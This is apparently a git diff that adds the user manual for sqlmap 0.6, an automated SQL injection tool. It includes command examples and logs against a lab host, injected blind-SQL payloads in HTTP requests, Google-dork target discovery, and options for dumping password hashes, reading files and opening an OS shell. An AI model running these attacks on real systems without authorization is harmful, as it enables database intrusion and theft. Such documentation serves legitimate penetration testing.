+
+As you can see, sqlmap first check if a new stable version is available,
+then in case it is, download it, unzip it and update the Microsoft SQL
+Server XML versions file from Chip Andrews'
+SQLSecurity.com site.
+
+Note that the default configuration file sqlmap.conf
is backupped
+to sqlmap.conf.bak
in case a new stable version is available and
+your copy is updated.
+
+
+Save and resume all data retrieved on a session file
+
+Option: -s
+
+It is possible to log all queries and their output on a text file while
+performing whatever request, both in blind SQL injection and in inband SQL
+injection.
+This is useful if you stop the injection and resume it after some time.
+
+Example on a PostgreSQL 8.2.7 target:
+
+
+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1&cat=2" -b \
+ -v 1 -s "sqlmap.log"
+
+[...]
+back-end DBMS: PostgreSQL
+
+[hh:mm:42] [INFO] fetching banner
+[hh:mm:42] [INFO] query: COALESCE(CAST(VERSION() AS CHARACTER(10000)), (CHR(32)))
+[hh:mm:42] [INFO] retrieved: PostgreSQL 8.2.7 o
+[hh:mm:43] [ERROR] user aborted
+
+
+
+
+As you can see, I stopped the injection with CTRL-C
while
+retrieving the PostgreSQL banner and logged the session to text file
+sqlmap.log
.
+
+
+
+$ cat sqlmap.log
+
+[hh:mm:40 MM/DD/YY]
+[http://192.168.1.121:80/sqlmap/pgsql/get_int.php][GET][id=1&cat=2][Injection point][GET]
+[http://192.168.1.121:80/sqlmap/pgsql/get_int.php][GET][id=1&cat=2][Injection parameter][id]
+[http://192.168.1.121:80/sqlmap/pgsql/get_int.php][GET][id=1&cat=2][Injection type][numeric]
+[http://192.168.1.121:80/sqlmap/pgsql/get_int.php][GET][id=1&cat=2][Parenthesis][0]
+[http://192.168.1.121:80/sqlmap/pgsql/get_int.php][GET][id=1&cat=2][CONCAT('1', '1')][]
+[http://192.168.1.121:80/sqlmap/pgsql/get_int.php][GET][id=1&cat=2][LENGTH(SYSDATE)][]
+[http://192.168.1.121:80/sqlmap/pgsql/get_int.php][GET][id=1&cat=2][COALESCE(9, NULL)][9]
+[http://192.168.1.121:80/sqlmap/pgsql/get_int.php][GET][id=1&cat=2][LENGTH('9')][1]
+[http://192.168.1.121:80/sqlmap/pgsql/get_int.php][GET][id=1&cat=2][DBMS][PostgreSQL]
+[http://192.168.1.121:80/sqlmap/pgsql/get_int.php][GET][id=1&cat=2][VERSION()][PostgreSQL 8.2.7 o
+
+
+
+
+As you can see, all queries performed and their output have been logged to
+the session file in real time while performing the injection.
+
+The session file has a structure as follows:
+
+
+
+[hh:mm:ss MM/DD/YY]
+[Target URL][Injection point][Parameters][Query or information name][Query output or value]
+
+
+
+
+Performing the same request now, sqlmap calculates the query length,
+in the example VERSION()
, and resumes the injection from the last
+character retrieved to the end of the query output.
+
+
+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1&cat=2" -b \
+ -v 1 -s "sqlmap.log"
+
+[...]
+back-end DBMS: PostgreSQL
+
+[hh:mm:37] [INFO] fetching banner
+[hh:mm:37] [INFO] retrieved the length of query output: 93
+[hh:mm:37] [INFO] resumed from file 'sqlmap.log': PostgreSQL 8.2.7 o...
+[hh:mm:37] [INFO] retrieving pending 75 query output characters
+[hh:mm:37] [INFO] query: COALESCE(CAST(SUBSTR((VERSION()), 19, 93) AS CHARACTER(10000)),
+(CHR(32)))
+[hh:mm:37] [INFO] starting 1 threads
+[hh:mm:37] [INFO] retrieved: n i486-pc-linux-gnu, compiled by GCC cc (GCC) 4.2.3 (Ubuntu
+4.2.3-2ubuntu4)
+banner: 'PostgreSQL 8.2.7 on i486-pc-linux-gnu, compiled by GCC cc (GCC) 4.2.3 (Ubuntu
+4.2.3-2ubuntu4)'
+
+
+
+
+
+Load options from a configuration INI file
+
+Option: -c
+
+It is possible to pass user's option from a configuration INI file, an
+example is sqlmap.conf
.
+
+Example on a MySQL 5.0.51 target:
+
+
+
+$ python sqlmap.py -c "sqlmap.conf"
+
+[hh:mm:42] [WARNING] User-Agent parameter 'User-Agent' is not dynamic
+[hh:mm:42] [WARNING] GET parameter 'cat' is not dynamic
+back-end DBMS: MySQL >= 5.0.0
+
+
+
+
+
+Save options on a configuration INI file
+
+Option: --save
+
+
+
+Example on a PostgreSQL 8.2.7 target:
+
+
+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1&cat=2" -b \
+ -v 1 --save
+
+[hh:mm:33] [INFO] saved command line options on '/software/sqlmap/sqlmap-ADMcR.conf'
+configuration file
+[hh:mm:33] [INFO] testing connection to the target url
+[hh:mm:33] [INFO] testing if the url is stable, wait a few seconds
+[...]
+
+
+
+
+As you can see, sqlmap saved the command line options to a configuration
+INI file, sqlmap-ADMcR.conf
.
+
+
+
+$ cat sqlmap-ADMcR.conf
+
+[Request]
+aCred =
+aType =
+agent =
+cookie =
+data =
+googleDork =
+method = GET
+proxy =
+referer =
+testParameter =
+threads = 1
+url = http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1&cat=2
+userAgentsFile =
+
+[Miscellaneous]
+eta = False
+sessionFile =
+unionTest = False
+unionUse = False
+updateAll = False
+verbose = 1
+
+[Enumeration]
+col =
+db =
+dumpAll = False
+dumpTable = False
+excludeSysDbs = False
+getBanner = True
+getColumns = False
+getCurrentDb = False
+getCurrentUser = False
+getDbs = False
+getPasswordHashes = False
+getPrivileges = False
+getTables = False
+getUsers = False
+query =
+sqlShell = False
+tbl =
+user =
+
+[File system]
+rFile =
+wFile =
+
+[Takeover]
+osShell = False
+
+[Fingerprint]
+extensiveFp = False
+
+[Injection]
+dbms =
+string =
+
+
+
+
+The file is a valid sqlmap configuration INI file.
+You can edit the configuration options as you wish and pass it to sqlmap
+with the -c
option as explained in the previous paragraph:
+
+
+
+$ python sqlmap.py -c "sqlmap-ADMcR.conf"
+
+[...]
+back-end DBMS: PostgreSQL
+
+[hh:mm:10] [INFO] fetching banner
+[hh:mm:10] [INFO] query: COALESCE(CAST(VERSION() AS CHARACTER(10000)), (CHR(32)))
+[hh:mm:10] [INFO] retrieved: PostgreSQL 8.2.7 on i486-pc-linux-gnu, compiled by GCC cc (GCC)
+4.2.3 (Ubuntu 4.2.3-2ubuntu4)
+[hh:mm:16] [INFO] performed 657 queries in 6 seconds
+banner: 'PostgreSQL 8.2.7 on i486-pc-linux-gnu, compiled by GCC cc (GCC) 4.2.3 (Ubuntu
+4.2.3-2ubuntu4)'
+
+
+
+
+
+
+
+sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
+WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
+FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
+details.
+
+Whatever you do with this tool is uniquely your responsability. If you are
+not authorized to punch holes in the network you are attacking be aware
+that such action might get you in trouble with a lot of law enforcement
+agencies.
+
+
+
+
+Feel free to contact us for comments, suggestions, bug reports and
+patches.
+
+
+
+
+
+
+
diff --git a/doc/README.pdf b/doc/README.pdf
new file mode 100644
index 000000000..f6f3c93b8
Binary files /dev/null and b/doc/README.pdf differ
diff --git a/doc/README.sgml b/doc/README.sgml
new file mode 100644
index 000000000..9a9cecaa1
--- /dev/null
+++ b/doc/README.sgml
@@ -0,0 +1,3170 @@
+
+
+
+
+sqlmap user's manual
+by
+version 0.6, 1st of September 2008
+
+This document is the user's manual to use .
+Check the project
+for the latest version.
+
+
+
+
+
+Introduction
+
+sqlmap is an automatic tool. Its goal is to detect and take advantage of
+SQL injection vulnerabilities on web applications. Once it detects one or
+more SQL injections on the target host, the user can choose among a
+variety of options to perform an extensive back-end database management
+system fingerprint, retrieve DBMS session user and database, enumerate
+users, password hashes, privileges, databases, dump entire or user's
+specific DBMS tables/columns, run his own SQL SELECT statement,
+read specific files on the file system and much more.
+
+
+Requirements
+
+
+sqlmap is developed in ,
+a dynamic object-oriented interpreted programming language.
+This makes the tool independent from the operating system since it only
+requires the Python interpreter.
+The interpreter is freely downloadable from its
+.
+To make it even easier, many GNU/Linux distributions come out of the box
+with Python interpreter package installed and other Unices and MacOS X
+too provide it packaged in their formats and ready to be installed.
+Windows users can download and install the Python setup-ready installer
+for x86, AMD64 and Itanium too.
+
+Optionally, if you are running sqlmap on Windows, you may wish to install
+
+to be able to take advantage of the sqlmap TAB completion and history
+support functionalities in the SQL shell and OS shell.
+Note that these functionalities are available natively by Python official
+readline library on other operating systems.
+
+
+Scenario
+
+
+Let's say that you are auditing a web application and found a web page
+that accepts dynamic user-provided values on GET or POST
+parameters or HTTP Cookie values or HTTP User-Agent
+header value.
+You now want to test if these are affected by a SQL injection
+vulnerability, and if so, exploit them to retrieve as much information as
+possible out of the web application's back-end database management system
+or even be able to access the underlying operating system.
+
+Consider that the target url is:
+
+http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2
+
+Assume that:
+
+http://192.168.1.121/sqlmap/mysql/get_int.php?id=1+AND+1=1&cat=2
+
+is the same page as the original one and:
+
+http://192.168.1.121/sqlmap/mysql/get_int.php?id=1+AND+1=2&cat=2
+
+differs from the original one, it means that you are in front of a SQL
+injection vulnerability in the id GET parameter of the
+index.php web application page which means that no IDS/IPS, no
+web application firewall, no parameters' value sanitization is performed
+on the server-side.
+
+This is a quite common flaw in dynamic content web applications and it
+does not depend upon the back-end database management system nor on the web
+application programming language: it is a programmer code's security flaw.
+The
+recently rated in their survey this vulnerability as the and important web application vulnerability, second only to
+.
+
+Back to the scenario, probably the SQL SELECT statemenet into
+index.php has a syntax similar to the following SQL query, in
+pseudo PHP code:
+
+
+$query = "SELECT [column(s) name] FROM [table name] WHERE id=" . $_REQUEST['id'];
+
+
+As you can see, appending any other syntatically valid SQL condition after
+a value for id such condition will take place when the web
+application passes the query to the back-end database management system
+that executes it, that is why the condition id=1 AND 1=1 is valid
+(True) and returns the same page as the original one, with the
+same content and without showing any SQL error message.
+
+Moreover, in this simple and easy to inject scenario it would be also
+possible to append, not just one or more valid SQL condition(s), but also
+stacked SQL queries, for instance something like [...]&id=1;
+ANOTHER SQL QUERY--
+
+Now that you found this SQL injection vulnerable parameter, you can
+exploit it by manipulating the id parameter value in the HTTP
+request.
+
+There exist many
+on the Net explaining in depth how to prevent and how to exploit SQL
+injection vulnerabilities and it is recommended to read them if you are
+not familiar with the issue before going ahead with sqlmap.
+
+Passing the original address, http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2
+to sqlmap, the tool will automatically:
+
+
+- Identify the vulnerable parameter(s) (id in this scenario);
+
- Depending on the user's options, sqlmap uses the blind SQL
+injection or the inband SQL injection technique as described
+in the following section to go ahead with the exploiting.
+
+
+
+Techniques
+
+
+sqlmap implements two techniques to exploit a SQL injection vulnerability:
+
+
+- Blind SQL injection, also known as inference SQL
+injection: sqlmap appends to the affected parameter in the HTTP
+request, a syntatically valid SQL statement string containing a
+SELECT sub-statement, or any other SQL statement whose the user
+want to retrieve the output.
+For each HTTP response, by making a comparison based upon HTML page
+content hashes, or string matches, with the original request, the tool
+determines the output value of the statement character by character.
+The bisection algorithm implemented in sqlmap to perform this technique
+is able to fetch each output character with at maximum seven HTTP
+requests.
+This is sqlmap default SQL injection technique.
+
- Inband SQL injection, also known as UNION query SQL
+injection: sqlmap appends to the affected parameter in the HTTP
+request, a syntatically valid SQL statement string starting with a
+UNION ALL SELECT. This techique is useful if the web application
+page passes the output of the SELECT statement to a for
+cycle, or similar, so that each line of the query output is printed on the
+page content.
+This technique is much faster if the target url is affected by because
+in a single HTTP response it returns the whole query output within the
+page content.
+This SQL injection technique is an alternative to the first one.
+
+
+It is strongly recommended to run at least once sqlmap with the
+--union-test option to test if the affected parameter is used
+within a for cycle, or similar, and in case use
+--union-use option to exploit this vulnerability because it
+saves a lot of time and it does not weight down the web server log file
+with hundreds of HTTP requests.
+
+
+Features
+
+
+Major features implemented in sqlmap include:
+
+
+- Full support for MySQL, Oracle, PostgreSQL
+and Microsoft SQL Server back-end database management systems.
+Besides these four database management systems, sqlmap can also identify
+Microsoft Access, DB2, Informix, Sybase and Interbase.
+
- Extensive back-end database management system fingerprint
+based upon
+,
+,
+ and
+
+such as MySQL comment injection. It is also possible to force the back-end
+database management system name if you already know it.
+
- Full support for two SQL injection techniques: blind SQL
+injection and inband SQL injection.
+
- Options to retrieve on all four back-end database management system
+banner, current user, current database,
+enumerate users, users password hashes, users
+privileges, databases, tables, columns,
+dump tables entries, dump whole database management
+system and run your own SQL SELECT statement.
+
- If the back-end database management system is MySQL it is also
+possible to read a specific file content and in some
+circumstances prompt for an interactive operating system shell
+with TAB completion and history support.
+
- Automatically tests all provided GET parameters,
+POST parameters, HTTP Cookie header values and HTTP
+User-Agent header value to find the dynamic ones, which means
+those that vary the HTTP response page content.
+On the dynamic ones sqlmap automatically tests and detects the ones
+affected by SQL injection. Each dynamic parameter is tested for
+numeric, single quoted string, double quoted
+string and all of these three datatypes with zero, one and two
+parenthesis to correctly detect which is the SELECT statement syntax to
+perform further injections with. It is also possible to specify the
+parameter(s) that you want to perform tests and use for injection on.
+
- Option to specify the maximum number of concurrent HTTP
+requests to speed up the blind SQL injection algorithms
+(multithreading).
+
- HTTP Cookie header string support, useful when the
+web application requires authentication based upon cookies and you have
+such data or in case you just want to test for and exploit SQL injection
+on such header.
+
- Automatically handle HTTP Set-Cookie header from
+target url, re-establishing of the session if it expires. Test and exploit
+on these values is supported too.
+
- HTTP Basic and Digest authentications support.
+
- Anonymous HTTP proxy support to pass by the HTTP requests
+to the target URL.
+
- Options to fake the HTTP Referer header value and
+the HTTP User-Agent header value specified by user or
+randomly selected from a text file.
+
- Support to increase the verbosity level of output messages:
+there exist six levels. The default level is 0 (silent) in which
+only warnings, errors and tracebacks, if they occur, will be shown.
+
- Estimated time of arrival support for each query, updated
+in real time while fetching the information to give to the user an
+overview on how long it will take to retrieve the output.
+
- Support to save the session (queries and their output, even if
+partially retrieved) in real time while fetching the data on a text file
+and resume the injection from this file in a second time.
+
- Support to read options from a configuration INI file rather than
+specify each time all of the options on the command line. Support also to
+save command line options on a configuration INI file.
+
- PHP setting magic_quotes_gpc bypass by encoding
+every query string, between single quotes, with CHAR, or similar,
+database management system function.
+
+
+
+Download and update
+
+
+sqlmap can be downloaded from its
+.
+It is available in various formats:
+
+
+- operating system independent.
+
- operating system independent.
+
- operating system independent.
+
- architecture independent for Debian and any
+other Debian derivated GNU/Linux distribution.
+
- architecture independent for Fedora and any
+other operating system that can install RPM packages.
+
- that does not require the Python
+interpreter to be installed on the operating system.
+
+
+
+Whatever way you downloaded sqlmap, run it with --update
+option to update it to the latest stable version available on its
+.
+
+
+License and copyright
+
+
+sqlmap is released under the terms of the
+.
+sqlmap is copyrighted by
+
+and .
+
+
+Usage
+
+
+
+$ python sqlmap.py -h
+
+ sqlmap/0.6 coded by Bernardo Damele A. G.
+ and Daniele Bellucci
+
+Usage: sqlmap.py [options] {-u | -g | -c }
+
+Options:
+ --version show program's version number and exit
+ -h, --help show this help message and exit
+
+ Request:
+ These options have to be specified to set the target url, HTTP method,
+ how to connect to the target url or Google dorking results in general.
+
+ -u URL, --url=URL Target url
+ -g GOOGLEDORK Process Google dork results as target urls
+ -p TESTPARAMETER Testable parameter(s)
+ --method=METHOD HTTP method, GET or POST (default: GET)
+ --data=DATA Data string to be sent through POST
+ --cookie=COOKIE HTTP Cookie header
+ --referer=REFERER HTTP Referer header
+ --user-agent=AGENT HTTP User-Agent header
+ -a USERAGENTSFILE Load a random HTTP User-Agent header from file
+ --auth-type=ATYPE HTTP Authentication type, value: Basic or Digest
+ --auth-cred=ACRED HTTP Authentication credentials, value: name:password
+ --proxy=PROXY Use a HTTP proxy to connect to the target url
+ --threads=THREADS Maximum number of concurrent HTTP requests (default 1)
+
+ Injection:
+ --string=STRING String to match in page when the query is valid
+ --dbms=DBMS Force back-end DBMS to this value
+
+ Fingerprint:
+ -f, --fingerprint Perform an extensive database fingerprint
+
+ Enumeration:
+ These options can be used to enumerate the back-end database
+ management system information, structure and data contained in the
+ tables. Moreover you can run your own SQL SELECT queries.
+
+ -b, --banner Retrieve DBMS banner
+ --current-user Retrieve DBMS current user
+ --current-db Retrieve DBMS current database
+ --users Enumerate DBMS users
+ --passwords Enumerate DBMS users password hashes (opt: -U)
+ --privileges Enumerate DBMS users privileges (opt: -U)
+ --dbs Enumerate DBMS databases
+ --tables Enumerate DBMS database tables (opt: -D)
+ --columns Enumerate DBMS database table columns (req: -T, -D)
+ --dump Dump DBMS database table entries (req: -T, -D opt: -C)
+ --dump-all Dump all DBMS databases tables entries
+ -D DB DBMS database to enumerate
+ -T TBL DBMS database table to enumerate
+ -C COL DBMS database table column to enumerate
+ -U USER DBMS user to enumerate
+ --exclude-sysdbs Exclude DBMS system databases when enumerating tables
+ --sql-query=QUERY SQL SELECT query to be executed
+ --sql-shell Prompt for an interactive SQL shell
+
+ File system access:
+ These options can be used to access the back-end database management
+ system file system taking advantage of native DBMS functions or
+ specific DBMS design weaknesses.
+
+ --read-file=RFILE Read a specific OS file content (only on MySQL)
+ --write-file=WFILE Write to a specific OS file (not yet available)
+
+ Operating system access:
+ This option can be used to access the back-end database management
+ system operating system taking advantage of specific DBMS design
+ weaknesses.
+
+ --os-shell Prompt for an interactive OS shell (only on PHP/MySQL
+ environment with a writable directory within the web
+ server document root for the moment)
+
+ Miscellaneous:
+ --union-test Test for UNION SELECT (inband) SQL injection
+ --union-use Use the UNION SELECT (inband) SQL injection to
+ retrieve the queries output. No need to go blind
+ --eta Retrieve each query output length and calculate the
+ estimated time of arrival in real time
+ -v VERBOSE Verbosity level: 0-5 (default 0)
+ --update Update sqlmap to the latest stable version
+ -s SESSIONFILE Save and resume all data retrieved on a session file
+ -c CONFIGFILE Load options from a configuration INI file
+ --save Save options on a configuration INI file
+
+
+
+Request
+
+Target URL
+
+
+Option: -u or --url
+
+
+To run sqlmap on a single target URL.
+
+
+Example on a MySQL 5.0.51 target:
+
+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2"
+
+[...]
+back-end DBMS: MySQL >= 5.0.0
+
+
+
+Target URL and verbosity
+
+
+Option: -v
+
+
+Verbose options can be used to set the verbosity level of output messages.
+There exist six levels.
+The default level is 0 (silent) in which only warnings, errors and
+tracebacks, if they occur, will be shown. Level 1 shows also info
+messages, level 2 show also debug messages, level 3 show also HTTP
+requests with all HTTP headers sent, level 4 show also HTTP responses
+headers and level 5 show also HTTP responses page content.
+
+
+Example on a MySQL 5.0.51 target (verbosity level 1):
+
+
+$ python sqlmap.py -u http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2 -v 1
+
+[hh:mm:01] [INFO] testing connection to the target url
+[hh:mm:01] [INFO] testing if the url is stable, wait a few seconds
+[hh:mm:02] [INFO] url is stable
+[hh:mm:02] [INFO] testing if User-Agent parameter 'User-Agent' is dynamic
+[hh:mm:02] [WARNING] User-Agent parameter 'User-Agent' is not dynamic
+[hh:mm:02] [INFO] testing if GET parameter 'id' is dynamic
+[hh:mm:02] [INFO] confirming that GET parameter 'id' is dynamic
+[hh:mm:02] [INFO] GET parameter 'id' is dynamic
+[hh:mm:02] [INFO] testing sql injection on GET parameter 'id'
+[hh:mm:02] [INFO] testing numeric/unescaped injection on GET parameter 'id'
+[hh:mm:02] [INFO] confirming numeric/unescaped injection on GET parameter 'id'
+[hh:mm:02] [INFO] GET parameter 'id' is numeric/unescaped injectable
+[hh:mm:02] [INFO] testing if GET parameter 'cat' is dynamic
+[hh:mm:02] [WARNING] GET parameter 'cat' is not dynamic
+[hh:mm:02] [INFO] testing for parenthesis on injectable parameter
+[hh:mm:02] [INFO] the injectable parameter requires 0 parenthesis
+[hh:mm:02] [INFO] testing MySQL
+[hh:mm:02] [INFO] query: CONCAT(CHAR(53), CHAR(53))
+[hh:mm:02] [INFO] retrieved: 55
+[hh:mm:02] [INFO] performed 20 queries in 0 seconds
+[hh:mm:02] [INFO] confirming MySQL
+[hh:mm:02] [INFO] query: LENGTH(CHAR(53))
+[hh:mm:02] [INFO] retrieved: 1
+[hh:mm:02] [INFO] performed 13 queries in 0 seconds
+[hh:mm:02] [INFO] query: SELECT 5 FROM information_schema.TABLES LIMIT 0, 1
+[hh:mm:02] [INFO] retrieved: 5
+[hh:mm:02] [INFO] performed 13 queries in 0 seconds
+back-end DBMS: MySQL >= 5.0.0
+
+
+
+Example on a MySQL 5.0.51 target (verbosity level 2):
+
+
+$ python sqlmap.py -u http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2 -v 2
+
+[hh:mm:34] [DEBUG] initializing the configuration
+[hh:mm:34] [DEBUG] initializing the knowledge base
+[hh:mm:34] [DEBUG] cleaning up configuration parameters
+[hh:mm:34] [DEBUG] setting the HTTP method to perform HTTP requests through
+[hh:mm:34] [DEBUG] creating HTTP requests opener object
+[hh:mm:34] [DEBUG] parsing XML queries file
+[hh:mm:34] [INFO] testing connection to the target url
+[hh:mm:34] [INFO] testing if the url is stable, wait a few seconds
+[hh:mm:35] [INFO] url is stable
+[hh:mm:35] [INFO] testing if User-Agent parameter 'User-Agent' is dynamic
+[hh:mm:35] [WARNING] User-Agent parameter 'User-Agent' is not dynamic
+[hh:mm:35] [INFO] testing if GET parameter 'id' is dynamic
+[...]
+
+
+
+Example on a MySQL 5.0.51 target (verbosity level 3):
+
+
+$ python sqlmap.py -u http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2 -v 3
+
+[...]
+[hh:mm:28] [INFO] testing connection to the target url
+[hh:mm:28] [TRAFFIC OUT] HTTP request:
+GET /sqlmap/mysql/get_int.php?id=1&cat=2 HTTP/1.1
+Host: 192.168.1.121:80
+User-agent: sqlmap/0.6 (http://sqlmap.sourceforge.net)
+Connection: close
+[...]
+[hh:mm:29] [INFO] testing MySQL
+[hh:mm:29] [INFO] query: CONCAT(CHAR(52), CHAR(52))
+[hh:mm:29] [TRAFFIC OUT] HTTP request:
+GET /sqlmap/mysql/get_int.php?id=1%20AND%20ORD%28MID%28%28CONCAT%28CHAR%2852%29%2C%20
+CHAR%2852%29%29%29%2C%201%2C%201%29%29%20%3E%2063%20AND%207994=7994&cat=2 HTTP/1.1
+Host: 192.168.1.121:80
+User-agent: sqlmap/0.6 (http://sqlmap.sourceforge.net)
+Connection: close
+[...]
+
+
+
+Example on a MySQL 5.0.51 target (verbosity level 4):
+
+
+$ python sqlmap.py -u http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2 -v 4
+
+[...]
+[hh:mm:32] [INFO] testing connection to the target url
+[hh:mm:32] [TRAFFIC OUT] HTTP request:
+GET /sqlmap/mysql/get_int.php?id=1&cat=2 HTTP/1.1
+Host: 192.168.1.121:80
+User-agent: sqlmap/0.6 (http://sqlmap.sourceforge.net)
+Connection: close
+
+[hh:mm:32] [TRAFFIC IN] HTTP response (OK - 200):
+Date: Thu, 24 Jul 2008 14:00:32 GMT
+Server: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.2 with Suhosin-Patch mod_ssl/2.2.8
+OpenSSL/0.9.8g mod_perl/2.0.3 Perl/v5.8.8
+X-Powered-By: PHP/5.2.4-2ubuntu5.2
+Content-Length: 127
+Connection: close
+Content-Type: text/html
+[...]
+[hh:mm:33] [INFO] testing MySQL
+[hh:mm:33] [INFO] query: CONCAT(CHAR(52), CHAR(52))
+[hh:mm:33] [TRAFFIC OUT] HTTP request:
+GET /sqlmap/mysql/get_int.php?id=1%20AND%20ORD%28MID%28%28CONCAT%28CHAR%2852%29%2C%20
+CHAR%2852%29%29%29%2C%201%2C%201%29%29%20%3E%2063%20AND%204435=4435&cat=2 HTTP/1.1
+Host: 192.168.1.121:80
+User-agent: sqlmap/0.6 (http://sqlmap.sourceforge.net)
+Connection: close
+
+[hh:mm:33] [TRAFFIC IN] HTTP response (OK - 200):
+Date: Thu, 24 Jul 2008 14:00:33 GMT
+Server: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.2 with Suhosin-Patch mod_ssl/2.2.8
+OpenSSL/0.9.8g mod_perl/2.0.3 Perl/v5.8.8
+X-Powered-By: PHP/5.2.4-2ubuntu5.2
+Content-Length: 75
+Connection: close
+Content-Type: text/html
+[...]
+
+
+
+Example on a MySQL 5.0.51 target (verbosity level 5):
+
+
+$ python sqlmap.py -u http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2 -v 5
+
+[...]
+[hh:mm:23] [INFO] testing connection to the target url
+[hh:mm:23] [TRAFFIC OUT] HTTP request:
+GET /sqlmap/mysql/get_int.php?id=1&cat=2 HTTP/1.1
+Host: 192.168.1.121:80
+User-agent: sqlmap/0.6 (http://sqlmap.sourceforge.net)
+Connection: close
+
+[hh:mm:23] [TRAFFIC IN] HTTP response (OK - 200):
+Date: Thu, 24 Jul 2008 14:02:23 GMT
+Server: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.2 with Suhosin-Patch mod_ssl/2.2.8
+OpenSSL/0.9.8g mod_perl/2.0.3 Perl/v5.8.8
+X-Powered-By: PHP/5.2.4-2ubuntu5.2
+Content-Length: 127
+Connection: close
+Content-Type: text/html
+
+<html><body>
+<b>SQL results:</b>
+<table border="1">
+<tr><td>1</td><td>luther</td><td>blissett</td></tr>
+</table>
+</body></html>
+[...]
+[hh:mm:24] [INFO] testing MySQL
+[hh:mm:24] [INFO] query: CONCAT(CHAR(51), CHAR(51))
+[hh:mm:24] [TRAFFIC OUT] HTTP request:
+GET /sqlmap/mysql/get_int.php?id=1%20AND%20ORD%28MID%28%28CONCAT%28CHAR%2851%29%2C%20
+CHAR%2851%29%29%29%2C%201%2C%201%29%29%20%3E%2063%20AND%201855=1855&cat=2 HTTP/1.1
+Host: 192.168.1.121:80
+User-agent: sqlmap/0.6 (http://sqlmap.sourceforge.net)
+Connection: close
+
+[hh:mm:24] [TRAFFIC IN] HTTP response (OK - 200):
+Date: Thu, 24 Jul 2008 14:02:24 GMT
+Server: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.2 with Suhosin-Patch mod_ssl/2.2.8
+OpenSSL/0.9.8g mod_perl/2.0.3 Perl/v5.8.8
+X-Powered-By: PHP/5.2.4-2ubuntu5.2
+Content-Length: 75
+Connection: close
+Content-Type: text/html
+
+<html><body>
+<b>SQL results:</b>
+<table border="1">
+</table>
+</body></html>
+[...]
+
+
+
+Process Google dork results as target urls
+
+
+Option: -g
+
+
+Rather than providing a target URL it is also possible to test and inject
+on GET parameters on the results of your Google dork.
+
+This option makes sqlmap negotiate with the search engine its session
+cookie to be able to perform a search, then sqlmap will retrieve Google
+first 100 results for the Google dork expression with GET parameters
+asking you if you want to test and inject on each possible affected URL.
+
+
+Example of Google dorking with expression site:yourdomain.com
+inurl:example.php:
+
+
+$ python sqlmap.py -g "site:yourdomain.com inurl:example.php" -v 1
+
+[hh:mm:38] [INFO] first request to Google to get the session cookie
+[hh:mm:40] [INFO] sqlmap got 65 results for your Google dork expression, 59 of them are
+testable hosts
+[hh:mm:40] [INFO] url 1: http://yourdomain.com/example.php?id=12, do you want to test this
+url? [y/N/q] n
+[hh:mm:43] [INFO] url 3: http://yourdomain.com/example.php?id=24, do you want to test this
+url? [y/N/q] n
+[hh:mm:42] [INFO] url 2: http://thirdlevel.yourdomain.com/news/example.php?today=483, do you
+want to test this url? [y/N/q] y
+[hh:mm:44] [INFO] testing url http://thirdlevel.yourdomain.com/news/example.php?today=483
+[hh:mm:45] [INFO] testing if the url is stable, wait a few seconds
+[hh:mm:49] [INFO] url is stable
+[hh:mm:50] [INFO] testing if GET parameter 'today' is dynamic
+[hh:mm:51] [INFO] confirming that GET parameter 'today' is dynamic
+[hh:mm:53] [INFO] GET parameter 'today' is dynamic
+[hh:mm:54] [INFO] testing sql injection on GET parameter 'today'
+[hh:mm:56] [INFO] testing numeric/unescaped injection on GET parameter 'today'
+[hh:mm:57] [INFO] confirming numeric/unescaped injection on GET parameter 'today'
+[hh:mm:58] [INFO] GET parameter 'today' is numeric/unescaped injectable
+[...]
+
+
+
+Testable parameter(s)
+
+
+Option: -p
+
+
+By default sqlmap tests all GET parameters, POST
+parameters, HTTP Cookie header values and HTTP User-Agent
+header value for dynamicity and SQL injection vulnerability, but it is
+possible to manually specificy the parameter(s) you want sqlmap to perform
+tests on comma separeted in order to skip dynamicity tests and perform SQL
+injection test and inject directly only against the provided parameter(s).
+
+Example on a PostgreSQL 8.2.7 target:
+
+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1&cat=2" -v 1 \
+ -p id
+
+[hh:mm:48] [INFO] testing connection to the target url
+[hh:mm:48] [INFO] testing if the url is stable, wait a few seconds
+[hh:mm:49] [INFO] url is stable
+[hh:mm:49] [INFO] testing if GET parameter 'id' is dynamic
+[hh:mm:49] [INFO] confirming that GET parameter 'id' is dynamic
+[hh:mm:49] [INFO] GET parameter 'id' is dynamic
+[hh:mm:49] [INFO] testing sql injection on GET parameter 'id'
+[hh:mm:49] [INFO] testing numeric/unescaped injection on GET parameter 'id'
+[hh:mm:49] [INFO] confirming numeric/unescaped injection on GET parameter 'id'
+[hh:mm:49] [INFO] GET parameter 'id' is numeric/unescaped injectable
+[hh:mm:49] [INFO] testing for parenthesis on injectable parameter
+[hh:mm:49] [INFO] the injectable parameter requires 0 parenthesis
+[...]
+
+
+
+Or, if you want to provide more than one parameter, for instance:
+
+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1&cat=2" -v 1 \
+ -p "cat,id"
+
+
+
+You can also test only the HTTP User-Agent header.
+
+
+Example on a MySQL 5.0.51 target:
+
+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2" -v 1 \
+ -p user-agent --user-agent "sqlmap/0.6 (http://sqlmap.sourceforge.net)"
+
